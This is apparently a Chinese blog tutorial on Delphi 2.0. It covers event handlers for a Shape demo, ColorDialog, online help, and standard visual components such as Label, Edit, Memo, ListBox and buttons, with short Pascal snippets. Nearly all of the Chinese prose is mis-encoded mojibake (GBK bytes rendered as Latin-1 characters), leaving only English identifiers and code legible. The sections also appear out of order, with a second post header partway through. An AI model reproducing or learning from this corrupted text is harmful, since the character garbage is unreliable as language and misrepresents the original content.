    µ¥»÷´°ÌåÉϵġ°Rectangle¡±°´Å¥£¬ÔÚObject InspectorÖУ¬µã¶¯¡°Events¡±Ò³±êÇ©£¬³öÏÖʼþ´°¿Ú¡£ÔÚ±¾Àý³ÌÖУ¬ÎÒÃÇÖ»¹ØÐÄOnClickʼþ£¬¼´°´Å¥½ÓÊÕµ½×ó¼üµ¥»÷ʱӦÓóÌÐòËù×÷³öµÄ·´Ó¦¡£ÔÚObject Inspector´°¿ÚÖÐË«»÷OnClickʼþÓҶ˵ÄÖµ¶Î£¬»áʹµÃDelphi¼¤»î¿â´úÂë±à¼­Æ÷£¬²¢½«¹â±êÍ£Ôڸð´Å¥Ëù¶ÔÓ¦µÄ¹ý³ÌµÄbegin...endÖ®¼ä¡£¡°Rectangle¡±°´Å¥µÄ¹¦ÄÜÊÇʹShape²¿¼þµÄÐÎ״Ϊ¾ØÐΡ£ÁªÏµÇ°ÎÄÎÒÃDz鿴¹ýµÄShape²¿¼þµÄ¡°Shape¡±ÊôÐÔ£¬ÏÖÔÚ£¬ÎÒÃÇÒª×öµÄÊÇÔÚ³ÌÐòÖпØÖƲ¿¼þµÄÊôÐÔ¡£

    ÔÚ¹â±ê´¦¼üÈëÒÔϵijÌÐò¶Î£º¡¡

    ¡¡¡¡Shape1.Shape := stRectangle;¡¡

    ÓÃͬÑùµÄ·½·¨£¬ÔÚButton2ºÍButton3µÄOnClickʼþÏìÓ¦ÄÚ¸´ÖÆÒÔÉÏÓï¾ä£¬²¢·Ö±ð½«¸³ÖµºÅºóµÄÊôÐÔÖµ¸ÄΪstRoundRectºÍstEllipse¡£Îª·ÀÖ¹ÊäÈë´íÎóµ¼Ö³ÌÐòÔËÐгö´í£¬½¨ÒéÄúʹShape1²¿¼þµÄObject Inspector¿É¼û£¬¼ìÊÓÊôÐÔShapeµÄ¸÷¸öÖµ²¢¶ÔÓ¦ÊäÈë¡£

    ¡¡¡¡ÔÚ´úÂë±à¼­Æ÷ÖУ¬Delphi×Ô¶¯½¨Á¢µÄ¹ý³ÌÒԹؼü×ÖProcedure¿ªÍ·£¬Óû§¿ÉÒÔÔÚbegin¡­endÖ®¼ä¼ÓÈë×Ô¼ºµÄ³ÌÐò£¬Ò²¿ÉÒÔ¶¨Òå±äÁ¿¡£Õâ¸ö³ÌÐò¿é¶ÔÓû§µÄÍⲿʼþ(´ËÀýÖÐÊǰ´¶¯°´Å¥)½øÐÐÏìÓ¦¡£ÎÒÃdzÆÖ®ÎªÊ¼þ´¦Àí¹ý³Ì¡£¡¡

    1.2.5.2 ʹÓÃÑÕÉ«±à¼­¶Ô»°¿ò¡¡

    ͼ±ê°´Å¥¡°Color¡±Òª¿ØÖƲ¿¼þShape1µÄÑÕÉ«£¬ÎÒÃÇ¿ÉÒÔµ÷ÈëÑÕÉ«±à¼­¶Ô»°¿ò£¬ÓÃÒÔÑ¡ÔñÒª±ä³ÉµÄÑÕÉ«¡£Õâʱ¾ÍÒªÓõ½ÔËÐÐʱ²»¿ÉÊӵIJ¿¼þColorDialogÁË¡£Í¬ÑùµØÊ¹Í¼±ê°´Å¥BitBtn1ÏìÓ¦OnClickʼþ£¬ÔÚËüµÄ¹ý³ÌÖмÓÈëÒÔϵÄÓï¾ä£º

    ¡¡¡¡ColorDialog1.Execute;

    ¡¡¡¡Shape1.Brush.Color := ColorDialog1.Color;¡¡

    ÕâÑù£¬Í¼±ê°´Å¥µÄ¹¦ÄÜÒ²¾ÍÍê³ÉÁË¡£

    ³õѧÕß¿ÉÄܶÔÕâÑùµÄ³ÌÐò¶Î²»ÄÜÀí½â¡£ÆäʵҲÊÇÊ®·Ö¼òµ¥µÄ¡£²é¿´ColorDialogµÄBrushÊôÐÔ£¬¾Í»á·¢ÏÖËüÊǸö¼¯ÊôÐÔ£¬ÔÚÆäÏ»¹ÓÐÒ»¸öColorÑ¡ÏÕýÊÇÎÒÃÇÏë¸Ä±äµÄÊôÐÔ¡£¼ÈÈ»ÎÒÃÇÏ뽫ͼÐεÄÑÕÉ«±äµÃ¸ü¼Ó·á¸»¶à²Ê£¬Ëü±¾ÉíÌṩµÄ¼¸ÖÖÑÕÉ«¾ÍÒѲ»ÄÜÂú×ãÒªÇóÁË¡£ÓÃÑÕÉ«±à¼­Æ÷¿ÉÒԵõ½¸ü¶àµÄÉ«²Ê¡£³ÌÐòµÄµÚÒ»¾äÓÃExecute·½·¨£¬Ê¹µÃColorDialogÔËÐÐËü±¾Éí¡£µ±Óû§ÔÚ¶Ô»°¿òÖнøÐвÙ×÷£¬Ñ¡¶¨ÁËÒ»ÖÖÑÕɫʱ£¬¼´Ê¹µÃTColorDialog¶ÔÏóµÄÒ»¸öÊôÐÔColorÖÃΪѡ¶¨ÑÕÉ«µÄÖµ¡£½«´ËÖµ¸³¸øShape1µÄBrushÊôÐÔµÄ×ÓÊôÐÔColor£¬¾Í½«Ñ¡¶¨µÄÑÕÉ«¼Óµ½ÁËͼÐÎÉÏ¡£

    ¶ÁÕßµÄÒªÇó¿ÉÄÜ»áÊÇ£¬ÔõÑù¾¡¿ìµÄÁ˽âÕâЩÕâЩ·½·¨¡¢ÊôÐÔºÍÓòÄØ£¿ÏÂÎĶÔʹÓÃÁª»ú°ïÖúµÄ¼òµ¥½éÉÜ¿ÉÄÜ»á¶ÔÄúÓÐËùñÔÒæ¡£¡¡

    1.2.6 ʹÓÃÁª»ú°ïÖúHelp¡¡

    ÊÂʵÉÏ£¬Ê¹ÓÃÁª»ú°ïÖúÊÇÄúÈ«ÃæµØÁ˽â¿ÉÓõķ½·¨¡¢¶ÔÏóµÄÓò¡¢ÊôÐÔµÈÐÅÏ¢µÄ×î¿ì½Ý;¾¶¡£Äú»¹¿ÉÒԲο¼Delphi¸ø¶¨µÄÀý³Ì¡£½ÏΪ¼òµ¥ÓÐЧµÄ·½·¨ÊÇʹÓÃHelpÖеÄËÑË÷¹¦ÄÜ¡£Èç¹ûÄú¶ÔÒ»¸ö¶ÔÏóÖªÖ®ÉõÉÙ£¬Ñ¡ÓÃÖ÷²Ëµ¥ÖеÄHelp|Help TopicsÏÔÚµ¯³öµÄ°ïÖú¶Ô»°¿ò£¬Ñ¡ÓÃIndexes(¡°Ë÷Òý¡±)Ò³£¬Delphi 2.0»áÌáʾÄúÊäÈëÒª¼ìË÷µÄÖ÷Ìâ¡£ÒÔÄúÏëÓõIJ¿¼þµÄ¶ÔÏóÃû×÷Ϊ¼ìË÷Ö÷Ìâ´Ê£¬¿ÉÒÔ²ÎÔĺܶà»ù±¾µÄÐÅÏ¢¡£ÀýÈ磬ÉÏÎĵÄÀý³ÌÖУ¬Ôڱ༭¿òÖмüÈë¶ÔÏóµÄÃû³ÆTColorDialog£¬ÔÚ´ÊÌõÖоͻá³öÏÖ¸ÃÖ÷Ì⣬°´¶¯Display°´Å¥ÏÔʾ³öTColorDialogµÄ°ïÖúÐÅÏ¢¡£²é¿´method,¿ÉÒÔÕÒµ½ÄÜÓ¦ÓÃÔÚCclorDialog1Éϵķ½·¨Execute;×ÐϸÔĶÁËüµÄ¹¦ÄÜ£¬ÉÏÊöµÄ±à³Ì±ã²»ÄÑÀí½âÁË¡£PropertiesÖÐÌṩÁ˲¿¼þµÄËùÓÐÊôÐÔ£¬ÔڹؼüÊôÐÔKey Propertiesǰ¼ÓÉÏÁË¡°½ðÔ¿³×¡±£¬ÌṩÁËÏ꾡µÄ˵Ã÷¡£ÔÚTaskÖÐÄú¿ÉÒÔ²éÔĸöÔÏóµÄÆäËüÏà¹ØÖ÷Ì⣬»¹¿ÉÒÔ²ÎÔÄExampleÖеÄÓ¦ÓÃÀý³Ì¡£ÓðïÖú´°¿ÚµÄEdit¸÷ÖÖ¹¦ÄܽøÐи´ÖÆ¡¢¼ôÌùµÈ²Ù×÷¡£

    Èç¹ûÄúÒѾ­¶Ô¶ÔÏóÓÐÒ»¶¨µÄÁ˽⣬Ïë²éÔÄËüµÄ¾ßÌå·½·¨¡¢ÓòµÈ£¬¿ÉÒÔÖ±½ÓÓÃÖ÷Ìâ´Ê½øÐмìË÷¡£¡¡

    ÒÔÉÏ£¬ÎÒÃÇÒѾ­Íê³ÉÁ˼òµ¥µÄÀý³Ì¡£ÔËÐÐÄúµÄ³ÌÐò£¬Ñ¡Óø÷¸ö°´Å¥¸Ä±äͼÐεÄÑÕÉ«ºÍÐÎ×´¡£Èçͼ1.9Ëùʾ¡£ËäÈ»ËüÖ»ÊÇÒ»¸ö¡°Ð¡Íæ¾ß¡±£¬È´Ö±¹ÛµØ¸øÄúÒ»¸öÓÃDelphi±à³ÌµÄÓ¡Ïó¡£¶Ô±ÈÒ»ÏÂÄúÇ×ÊÖ±àÖÆµÄ³ÌÐòÁ¿ºÍ³ÌÐòµÄ¹¦ÄÜ£¬Äú¾Í»áÀí½âDelphiΪ³ÌÐòÔ±ÌṩÁËÔõÑùµÄ·½±ã¡£

    1.3 Delphi 2.0µÄ¿ÉÊÓ»¯²¿¼þÓ÷¨¼ò½é¡¡

    ±¾½ÚÖУ¬ÎÒÃǽ«½ÏΪÉîÈëµØ½²½âDelphiµÄ²¿¼þ¡£ÕâÊDZàÖÆ´óÐ͸´ÔÓÓ¦ÓóÌÐòµÄ±ØÓÉ֮·¡£ÏÂÃæ£¬ÎÒÃǽ«¶Ô¸÷ÖÖ²¿¼þ·ÖÀà½øÐмòµ¥µÄ½éÉÜ£¬ÒÔ±ãÓÚÄúÔÚ±à³ÌʱÄܹ»½Ï¿ìµØÁ˽âÓÐÄÄЩ²¿¼þ¿ÉÄÜ»áÂú×ãÄúµÄÒªÇ󣬲¢¶ÔÆäÖØÒªµÄ·½·¨¡¢ÊôÐÔµÈÓÐÒ»¸ö´óÖµÄÁ˽⡣

    ¡¡¡¡»ù±¾¼¼ÇÉ¡¢¹¤¾ßµÄ½éÉÜÔÚ±¾ÕµĵÚ4½ÚÖУ¬½»»¥ÔĶÁÕâÁ½²¿·Ö£¬¶à´´ÖƼ¸¸öÊÔÑé³ÌÐò£¬ÓÐÖúÓÚÄúѸËÙ½øÈëDelphiÊÀ½ç£¬¾¡Ô罫ÕâÒ»¾«ÃîÈí¼þÓÃÓÚʵ¼Ê¹¤×÷ÖС£¡¡

    1.3.1 ³£ÓõÄÎı¾Ïà¹Ø²¿¼þ¡¡

    ÒÔϵIJ¿¼þÒÔ¸÷ÖÖ¸ñʽÏÔʾÎı¾£¬ÆäÖÐÓÐЩÊÇÎı¾ºÍÊý¾ÝÊäÈëµÄ;¾¶¡£ËüÃÇÊÇLabel(±êÇ©)¡¢Edit(Îı¾±à¼­)¡¢MaskEdit(¸ñʽ±à¼­)¡¢Memo(±¸×¢)¡¢List Box(Áбí¿ò)¡¢Combo Box(×éºÏ¿ò)¡£³ýÁËMaskEditÔÚAdditionalÒ³Ö®Í⣬ÆäËüµÄ¶¼ÔÚStandardÒ³ÖС£¡¡

    1.3.1.1 Label²¿¼þ¡¡

    Label(±êÇ©)Ò»°ã·ÅÔÚ¶ÔÏóµÄÅԱߣ¬ÓÃÀ´±ê¼ÇÕâЩ¶ÔÏ󣬴Ӷø¶ÔÓû§µÄ²Ù×÷½øÐÐÌáʾ£¬Ò²¿ÉÒÔÓÃÀ´ÏÔʾÆäËüÐÅÏ¢¡£Äú¿ÉÒÔÔÚ±êÇ©ÖÐÉèÖÃÈȼü£¬Ò²¼´ÔÚCaptionÊôÐÔÖµ¶ÎÖÐÊäÈ뺬ÓС°&¡±µÄ×Ö´®£¬µ±Óû§Ê¹Óá°Alt+¹Ø¼ü×Öĸ¡±Ê±£¬½«×Ô¶¯Ñ¡ÖÐËüËùÖ¸ÏòµÄ¶ÔÏó¡£·½·¨ÊÇÉèÖÃLabel²¿¼þµÄFocusControlÊôÐÔ£¬ÔÚÖµ¶ÎÖУ¬Ñ¡ÓÃÓëËü¹ØÁª¶ÔÏóµÄ¶ÔÏóÃû¡£¡¡

    1.3.1.2 Edit¡¢MaskEditºÍMemo²¿¼þ ¡¡

    Edit¡¢MaskEdit¡¢Memo²¿¼þ¶¼ÊÇÓÃ×÷½ÓÊÕ¡¢ÏÔʾÓû§ÊäÈëÎı¾µÄ¡£ËüÃǾßÓÐһЩÏàͬµÄÊôÐÔ¡£ReadOnlyÔÚÔËÐÐʱ¼äÄÚ¿ØÖƶÔÏóÊÇ·ñ¿ÉÒÔ½øÐÐWindowsµÄ²Ù×÷£¬µ±´ËֵΪFalseʱ£¬¸Ã¿òÄÚµÄÎı¾¾Í²»Äܱ»¸´ÖƵ½¼ôÌù°åÉÏ¡£MaxLength¿ÉÒÔÉèÖÃÊäÈëÎı¾µÄ³¤¶ÈÏÞÖÆ¡£ÓÃPasswordCharÊôÐÔ¿ÉÒÔ°´ÕÕÏÔʾÒþ±ÎÃÜÂëµÄ·½·¨ÏÔʾÓû§ÊäÈëÎı¾£¬ÀýÈ磬ËüµÄȱʡֵΪ¡°*¡±£¬ÔËÐÐʱ£¬ÄúµÄÊäÈ뽫Óá°*¡±À´ÏÔʾ£¬´Ó¶øÌṩÁËÒ»ÖÖ°²È«´ëÊ©¡£Äú¿ÉÄÜÒ²·¢ÏÖÁË£¬µ±Ò»¸ö×ֶα»¼ÓÉϸßÁÁ¶ÈÏÔʾʱ£¬°´¼ü²Ù×÷»á½«ÕâÒ»×Ö¶Îɾ³ý£¬Ìæ»»³Éµ±Ç°µÄ¼üÅÌÊäÈë¡£ÕâÖÖÉèÖÃΪ²Ù×÷ÌṩÁË·½±ã£¬Äú²»±ØÃ¿´ÎÏÈɾ³ýÔ­À´µÄÎı¾£»µ«Ò²¿ÉÄܻᵼÖÂÎóɾÎı¾¡£½«AutoSelectÊôÐÔÉèÖóÉFalse£¬ÕâÖÖÌæ´ú¹¦Äܾͱ»È¡ÏûÁË¡£

    MaskEditÊǸñʽÎı¾ÊäÈë¶ÔÏó¡£ËüµÄEditMaskÊôÐÔΪËüÌṩÁ˹ýÂËÎı¾µÄ¸ñʽ¡£µã¶¯ÕâÒ»ÊôÐÔµÄÊ¡ÂÔ°´Å¥£¬»áµ¯³ö¹ýÂ˱༭¶Ô»°¿ò£¬³ýÁËDelphiΪÄúÌṩµÄ¼¸ÖÖÆÁ±Î¸ñʽ£¬ÄúÒ²¿ÉÒÔ×Ô¼º±àд£¬²éÔÄ¡°°ïÖú¡±£¬»áΪÄúÌṩ¸üÏêϸµÄÓ÷¨½éÉÜ¡£

    MemoÊDZ¸×¢¿ò£¬ÓëÒÔÉ϶ÔÏó²»Í¬µÄÊÇ£¬Ëü¿ÉÒÔ½ÓÊÕ¶àÐÐÎı¾ÊäÈë¡£½«ScrollBarsÉèÖóÉssVertical£¬¿ÉÒÔΪËü¼ÓÉÏÒ»¸ö´¹Ö±µÄ¹öÐÐÌõ¡£AlignÊôÐÔµ÷Õû¸Ã¶ÔÏóÔÚ´°¿ÚÖÐµÄ¶ÔÆëÇé¿ö£¬ÓÐalNone(ÎÞ¶ÔÆëÖ¸¶¨)¡¢alBottom(µ×²¿¶ÔÆë)¡¢alClient(È«´°¿ÚÏÔʾ)µÈ¿ÉÒÔÑ¡Ôñ£»¶øAlignmentÊôÐÔÔò¾ö¶¨ÁËÎı¾ÔÚ¿òÖÐµÄ¶ÔÆëÏÔʾ¸ñʽ¡£LinesÊôÐÔ·ÃÎʵÄÎı¾±»´æ´¢ÔÚÒ»¸öTStrings¶ÔÏóÖУ¬°´¶¯ËüµÄÊ¡ÂÔ°´Å¥£¬¿ÉÒÔͨ¹ý¶Ô»°¿òÏòËüÔö¼ÓÎı¾£¬Ò²¿ÉÒÔÓóÌÐò¶ÔÕâÒ»ÊôÐÔ½øÐвÙ×÷£¬ÒÔ´ïµ½Ð޸ĻòÔö¼Ó±¸×¢Îı¾µÄÄ¿µÄ¡£¡¡

    1.3.1.3 List BoxºÍCombo Box²¿¼þ¡¡

    List Box(Áбí¿ò)ºÍCombo Box(×éºÏ¿ò)¶¼ÏÔʾÁбíÏîÄ¿£¬Ëù²»Í¬µÄÊÇ×éºÏ¿òÕ¼ÓýÏÉٵĿռ䡣³£¼ûµÄWindows²Ù×÷ϵͳÖУ¬ÏÔʾ¿ÉÓôÅÅÌÇý¶¯Æ÷ʱ£¬ÓõľÍÊÇ×éºÏ¿ò¡£Áбí¿òÔòÌṩÁËÒ»¸öÏîÄ¿ÁбíÒÔ¹©Ñ¡Ôñ£¬ÈçWindows´ò¿ªÎļþ²Ù×÷ʱÏÔʾÎļþÁбíµÄ¾ÍÊÇList Box¡£

    ¡¡¡¡ÏÂÁгÌÐò¶Î½«Edit1µÄÎı¾¼ÓÈëµ½ListBox1ÖУ¬²¢Çå¿ÕEdit1ÖеÄÎı¾£º¡¡

    ¡¡procedure TForm1.AddButtonClick(Sender:TObject);

    ¡¡begin

    ListBox1.Items.Add(Edit1.text);

    Edit1.Text := ¡®¡¯;

    ¡¡end;¡¡

    ³£¼ûµÄ×éºÏ¿ò³õʼ»¯ÓÃÒÔϵÄÓï¾ä¿ÉÒÔʵÏÖ£¬ËüÓÃÏÂÀ­Ê½Áбí¿òµÄµÚÒ»ÏîÀ´³õʼ»¯×éºÏ¿òµÄȱʡֵ£º¡¡

    procedure TForm1.ComboBox1Text(Sender:TObject);

    begin

    if ComboBox1.Text = ¡®¡¯then

    ComboBox1.Text := ComboBox1.Items.String[1] ;

    ¡¡¡¡¡¡end;

    ÒÔÉϾÍÊÇÎı¾ÊäÈëµÄ»ù±¾²¿¼þ¡£¡¡

    1.3.2 °´Å¥ºÍ¼ì²é¿ò²¿¼þ¡¡

    1.3.2.1 ButtonºÍBitBtn²¿¼þ

    °´Å¥ÊÇWindows³£ÓõIJ¿¼þ£¬Ç°ÎĵÄÀý³ÌÖÐÎÒÃÇÒѾ­»ù±¾ÕÆÎÕÁËButtonºÍBitBtnµÄÖ÷ÒªÓ÷¨¡£ËüÃÇÒ»°ãÓÃÔÚ¶Ô»°¿òÖУ¬×öΪִÐÐijÖÖ¹¦ÄܵÄָʾ¡£ÄúÒ²¿ÉÒÔΪËüÃÇÉèÖÃÄÚÖ÷µ»Ø¹¦ÄÜ£¬½«ModelResultÊôÐÔ¼ÓÒÔÆ¥Å䣬¿ÉÒÔ²»Óñà³Ì£¬Ö±½ÓʵÏÖϵͳÄÚÖõŦÄÜ£¬ÕâÒ»µãÉϺÍKindÊôÐÔÆÄÀàËÆ¡£¡¡

    1.3.2.2 Speed Button²¿¼þ¡¡

    Speed Button(¼ÓËÙ°´Å¥)²¿¼þÔÚAdditionalÒ³ÉÏ£¬ÊǽøÐй¤¾ßÌõ¿ìËÙÉè¼ÆµÄÀíÏ벿¼þ¡£ËüÖ»ÓÐÒ»¸öλͼ£¬Ã»ÓбêÌâ¡£ÐèÒªÌáÆð¶ÁÕß×¢ÒâµÄÊÇ£¬Óöà¸öSpeed ButtonÖÆ×÷Ò»¸ö¹¤¾ßÌõʱ£¬±ØÐëÏÈ·ÅÖÃÒ»¸ö´°¿ÚÀಿ¼þ£¬ÈçPanel(²Ù×÷°å)¡¢Group Box(Ⱥ×é¿ò)µÈ¡£·ñÔòÊÔͼ½«¼ÓËÙ°´Å¥ÏÈÖÆ×÷ºÃÔÙÒÆÉÏÈ¥£¬Äú»á·¢ÏÖËü»á×ÜÊÇ´¦ÓÚ´°¿ÚÀಿ¼þÏÂÃæ²»¿É¼û¡£µ±È»£¬Äú¿ÉÒÔ¶Ô¼ÓËÙ°´Å¥½øÐи´ÖÆ¡¢Õ³Ìùµ½´°¿ÚÀಿ¼þÉÏ´¦Àí£¬ÄǾÍÁíµ±±ðÂÛÁË¡£¡¡

    1.3.2.3 Check BoxÓëRadio Button²¿¼þ¡¡

    Check Box(¼ì²é¿ò)ºÍRadio Button(ÎÞÏß°´Å¥)²¿¼þͨ³£ÊÇÏàÌá²¢Â۵쬶àÓÃ×÷½ÓÊÕÓû§¡°ÊÇ¡±»ò¡°·ñ¡±µÄÊäÈëÅбð¡£ËüÃÇÒ»°ã¶¼ÊdzÉ×éµÄ·ÅÖÃÔÚRadio Group»òGroup Box²¿¼þÖС£Ëù²»Í¬µÄÊÇ£¬³É×éµÄRadio ButtonÊÇ¡°»¥Ëø¡±µÄ£¬Óû§Ñ¡Ôñ¶¨Ò»¸öºó£¬ÆäËüµÄ½«×Ô¶¯ÉèÖÃΪ²»Ñ¡£»¶øCheck Box²¿¼þÔòÊÇ·ÖÁ¢µÄ£¬Äú¿ÉÒÔͬʱѡÖÐÆäÖеö£¬Ò²¿ÉÒÔÒ»¸ö¶¼²»Ñ¡¡£¡¡

    1.3.3 ·Ö×é¡¢·Ö½ç²¿¼þ¡¡

    ·Ö×鲿¼þ°ÑÆäËüµÄ²¿¼þ×éºÏ³ÉÒ»×飬ÀýÈçÉÏÊöµÄÎÞÏß°´Å¥²¿¼þRadio Button£¬¾ÍÐèÒª·ÅÈëÒÔϵijÉ×鲿¼þÖС£·Ö½ç²¿¼þÓÃÓÚÔÚ´°¿ÚÖвúÉú±ß½çºÍÇøÓò£¬ÒÔÇø±ðÓÚÆäËüÇøÓò¡£¡¡

    1.3.3.1 Group Box¡¢Radio Group¼°Panel²¿¼þ¡¡

    Group Box(Ⱥ×é¿ò)¡¢Radio Group(Ñ¡Ïî°´Å¥×é)²¿¼þ¶¼¿ÉÒÔ½«²¿¼þ·ÖÀà¡¢³É×é¡£ËüÃǶ¼ÓбêÌ⣬¿ÉÒÔÓÃÎÄ×Ö±íÕ÷³É×鲿¼þµÄ±êÌâ»òÐÅÏ¢¡£Radio Group¿ÉÒÔ½øÐÐColumnºÍItemÊôÐÔµÄÉ趨£¬ÒÔ¾ö¶¨ÆäÉϵÄÎÞÏß°´Å¥µÄÌáʾÎı¾¼°ÏÔʾ¸ñʽ¡£Panel²¿¼þÒ²¿ÉÒÔ´ïµ½½«²¿¼þ·Ö×éµÄÄ¿µÄ¡£Í¨¹ý±à³ÌÏò´°¿Ú¼ÓÒ»¸ö²Ù×÷°å²¿¼þ£¬ÒÔÊéдÌáʾºÍ°ïÖúÐÅÏ¢£¬Ò²²»Ê§ÎªÒ»Öֺ÷½·¨¡£ÒÔÉÏÈý¸ö²¿¼þ¶¼ÔÚStandardÒ³¡£¡¡

    1.3.3.2 NoteBook¡¢TabSet¼°TabbedNoteBook²¿¼þ¡¡

    ¼Çʱ¾²¿¼þNoteBookÒ»°ãºÍ±êÇ©¼¯²¿¼þTabSet¹²Í¬Ê¹Óã¬ÓÃÀ´´´Öƺ¬ÓбêÇ©µÄÖØµþ¶à´°Ìå´°¿Ú¡£PagesÊôÐÔ°üº¬ÁËÒ»¸öÒ³ÃûÁÐ±í£¬ÔÚ±à³Ìʱ£¬½«TabSetµÄTabsÊôÐÔÉèÖóÉNoteBookµÄPagesÊôÐÔ£¬¾Í¿ÉÒÔʹҳ±êÇ©ºÍÏàÓ¦µÄ´°Ìå¶ÔÓ¦ÆðÀ´¡£

    ÁíÍâÒ»¸ö²¿¼þTabbedNoteBookÊÇ´øÓбêÇ©µÄ¶à´°Ìå´°¿Ú£¬²»¹ý£¬ËüµÄÒ³±êÇ©ÉèÔÚ´°¿ÚµÄÉÏÃæ¡£ËüÃÇÏ൱ÓÚ¶à¸ö·Ö×鲿¼þµÄ¼¯ºÏ£¬Ã¿´Î²é¿´ÆäÖеÄÒ»Ò³¡£ÒÔÉÏÈý¸ö²¿¼þÔÚWin 3.1Ò³¡£

    ÔÚWin95Ò³ÉÏ»¹ÓÐTabControl¡¢PageControlµÈ²¿¼þ¡£ËüÃǶÔÓÚÉú³ÉWindows 95·ç¸ñµÄ±êÇ©¼¯ÊǺÜÖØÒªµÄ¡£¡¡

    1.3.3.3 ·Ö½ç²¿¼þ¡¡

    ÔÚWin 3.1Ò³ÉÏ£¬»¹ÓÐHeader(±íÍ·)²¿¼þ£¬ËüÔÚ´°¿ÚÖвúÉúÒ»¸ö͹ÆðµÄÌâÌõ£¬ÌṩÁËÒ»¸ö¿ÉÊÓ»¯µÄÎı¾ÏÔÊ¾ÇøÓò¡£AdditionalÒ³µÄBevel(Á¢Ìå¿ò)²¿¼þÌṩÁËÒ»¸ö·½¿ò£¬ËüµÄµ¥Ò»ÏßÌõ»òÕû¸ö±ß¿ò¶¼¿ÉÒÔͨ¹ýStyleÊôÐÔÉèÖÃΪÍâ͹»òÄÚ°¼£¬¿ÉÒÔÃÀ»¯´°¿Ú¡£ÔÚWin95Ò³ÉÏ£¬HeaderControl¡¢StatusBarµÈ²¿¼þ£¬ÎªÄúʹÓÃWinows95·ç¸ñµÄ½çÃæÌṩÁËÖØÒªÔªËØ¡£¡¡

    1.3.4 ͼÐΡ¢Í¼Ï󲿼þ¡¡

    1.3.4.1 Image²¿¼þ

    ͼÏ󲿼þImageÔÚAdditionalÒ³ÉÏ£¬ÓÃÀ´ÔÚ´°¿ÚÖÐÏÔʾһ·ùͼƬ£¬¿ÉÒÔÔÚpictureÊôÐÔÖе÷ÈëͼÏóÎļþ¡£DelphiÖ§³Öλͼ(.BMP)¡¢Í¼±ê(.ICO)¡¢Í¼Ôª(.WFM)ÈýÖÖÎļþ¸ñʽ¡£±È½ÏÖØÒªµÄÊôÐÔÊÇAutosizeºÍStrech¡£ËüÃǾö¶¨ÁËͼÏóÔÚ´°¿ÚÖеÄÏÔʾ³ß´ç¡£AutosizeÊôÐÔΪTrue±íʾ°´Ô­³ß´çÏÔʾ£¬StrechÊôÐÔΪTrue±íʾͼÏó°´¶ÔÏóͼ¿òµÄ´óСÏÔʾ£¬ÕâʱͼÏóµÄ´óС¿ÉÒÔÈËΪ¸Ä±ä¡£

    ¡¡

  • µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨¶þ£©

    2007-05-28 16:22:06

          
    µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨¶þ£©

    1.2.3 Éè¼Æ¼òµ¥µÄÓû§½çÃæ¡¡

    Ê×ÏÈ´Ó¿Õ°×´°Ì忪ʼ¹¤×÷¡£ÎÒÃǽ«Éè¼ÆÒ»¸ö¼òµ¥µÄ³ÌÐò:ÔÚÆÁÄ»ÉÏ¿ªÒ»¸ö´°¿Ú£¬´°¿ÚÖÐÓÐÒ»¸öͼ¿ò£¬ÓÃÈý¸ö°´Å¥À´¸Ä±äͼ¿òµÄÐÎ×´£»ÔÙÓÃÒ»¸öͼ±ê°´Å¥À´½øÐÐͼ¿òµÄÑÕÉ«ÉèÖã¬Í¨¹ýÑÕÉ«±à¼­¶Ô»°¿òÀ´Ñ¡Ôñ±ä³ÉÄÄÒ»ÖÖÑÕÉ«¡£

    Ôڲ˵¥ÉÏÑ¡ÓÃFile|New Application²Ëµ¥ÏîÀ´Éú³ÉÐµĹ¤³ÌÎļþ¡£Õâʱ£¬ÆÁÄ»ÉϳöÏÖͼ1.2ËùʾµÄ´°Ìå¡£¡¡

    1.2.3.1 ѡȡ²¿¼þ¼ÓÈëµ½´°ÌåÖС¡

    ²¿¼þ(Component)Êǽ¨Á¢DelphiÓ¦ÓóÌÐòµÄÒªËØ¡£DelphiΪÓû§ÌṩÁ˷ḻµÄ²¿¼þ¿â£¬¼ÈÓпÉÊӵIJ¿¼þ(Èç±à¼­¿ò¡¢°´Å¥)µÈ£¬Ò²Óв»¿ÉÊӵIJ¿¼þ(Èçϵͳ¶¨Ê±Æ÷¡¢Êý¾Ý±íµÈ)¡£ËüÃǰ´ÕÕ¹¦ÄÜ·Ö±ðÅÅÁÐÔÚComponent PanelµÄ¸÷Ò³ÉÏ¡£

    ÒÆ¶¯Êó±êµ½Component PanelÉÏ£¬ÔÚ²¿¼þ°´Å¥ÉÏ¡°ÓÌÔ¥¡±Ò»¡¢Á½ÃëÖÓ£¬Ò»¸ö»ÆÉ«Ð¡Ìáʾ¿ò¾Í»áµ¯³ö£¬Ð´Óиò¿¼þµÄÃû³Æ£¬ÎÒÃdzÆÖ®ÎªÌáʾ(Hint)¡£ÔÚҪѡÔñµÄ²¿¼þÉϵ¥»÷×ó¼ü£¬Ôò¸Ã²¿¼þ°´Å¥±»°´Ï£¬±íʾ²¿¼þÒѱ»µ±Ç°Ñ¡Ôñ¡£È»ºó£¬½«Êó±êÒÆ¶¯µ½´°ÌåÉÏ£¬°´ÏÂ×ó¼ü£¬¸Ã²¿¼þ±»·Åµ½´°ÌåÖС£²¿¼þµÄÂÖÀªÏßÉÏ»áÏÔÏְ˸ö±»³ÆÎª³ß´çµ÷ÕûÆ÷(Sizing Handles)µÄºÚɫС·½¿é¡£Ëü³ýÁ˹©Óû§µ÷Õû³ß´çʹÓÃÖ®Í⣬»¹¿ÉÒÔ±íʾ¸Ã¶ÔÏó´¦ÓÚµ±Ç°±à¼­×´Ì¬¡£´Ëʱ£¬°´¡°Delete¡±¼ü¿ÉÒÔ½«¸Ã²¿¼þɾ³ý¡£

    ÔÚComponent PanelÉÏ£¬µã¶¯Ð´ÓС°Additional¡±µÄÒ³±êÇ©£¬Çл»µ½AdditionalÒ³£¬ÔÙÒÆ¶¯Êó±ê£¬Öð¸öÓùۿ´HintµÄ°ì·¨²é¿´²¿¼þµÄÃû³Æ£¬ÕÒµ½¡°Shape¡±²¿¼þ(Æäͼ±êΪԲ¡¢·½ÐΡ¢Èý½ÇÐÎÈý¸ö¼¸ºÎÌå)£¬½«Æä·Åµ½´°ÌåµÄ×󷽡£

